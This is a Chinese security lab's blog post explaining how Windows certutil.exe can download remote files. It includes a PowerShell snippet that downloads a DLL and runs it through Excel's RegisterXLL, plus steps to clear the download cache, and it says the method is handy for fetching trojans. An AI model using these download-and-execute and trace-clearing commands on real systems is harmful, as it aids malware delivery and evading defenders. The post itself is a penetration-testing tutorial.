时代新威网络安全实验室

  • 首页
  • 安全资讯
  • 安全服务
    • 渗透测试
    • 攻防演习
    • 安全咨询
    • 代码审查
    • 应急响应
    • 安全培训
  • 知识分享
  • 内部资源
    • 信息搜集
    • 漏洞发现
    • 漏洞利用
    • 权限维持
    • 密码爆破
    • 内网渗透
    • APT
    • 安全竞赛
    • 2021HW
  • 关于我们
  • 登录与注册
    • 登录
    • 注册
Kratos
一款专注于用户阅读体验的响应式博客主题
  1. 首页
  2. 知识分享
  3. 正文

使用CertUtil.exe下载并执行远程文件-渗透技巧

2020年9月11日 1252点热度 4人点赞 0条评论

使用CertUtil.exe下载并执行远程文件

certutil简介

用于证书管理

支持环境: XP -- Windows 10 全系统

更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

 下载远程文件方法

(1) 保存在当前路径,文件名称同URL

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(2) 保存在当前路径,指定保存文件名称

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt

(3) 保存在缓存目录,名称随机

缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

eg:

certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

(4) 支持保存二进制文件

eg:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

注:

使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本

清除下载文件副本方法

方法1: 直接删除缓存目录对应文件

如下图

https://images2017.cnblogs.com/blog/800952/201801/800952-20180108104250629-984440723.png

方法2: 命令行:

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

补充:

查看缓存项目:

certutil.exe -urlcache *

如下图

https://images2017.cnblogs.com/blog/800952/201801/800952-20180108104309176-980103179.png

 

下载并执行测试

测试系统安装Office软件,下载执行dll对应的powershell代码如下:

$path="c:\test\msg1.dll"

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))

$excel.RegisterXLL($path)

 测试结果如下:

https://images2017.cnblogs.com/blog/800952/201801/800952-20180108104353676-302738219.png

Certutil常用命令

1、计算文件hash

(1) SHA1

certutil.exe -hashfile msg.dll

(2) SHA256:

certutil.exe -hashfile msg.dll SHA256

(3) MD5:

certutil.exe -hashfile msg.dll MD5

2、base64编码转换

(1) base64编码:

CertUtil -encode InFile OutFile

(2) base64解码

CertUtil -decode InFile OutFile

注:

编码后的文件会添加两处标识信息:

文件头:

-----BEGIN CERTIFICATE-----

文件尾:

-----END CERTIFICATE-----

如下图

https://images2017.cnblogs.com/blog/800952/201801/800952-20180108104413441-837854213.png

总结

在windows操作系统中使用certUtil简便快捷,可以很方便地从远程下载文件(包括木马文件),并执行,但是使用后需要注意清除缓存。

标签: 暂无
最后更新:2020年9月11日

powertimeauthorhgq

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

COPYRIGHT © 2022 时代新威网络安全实验室. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang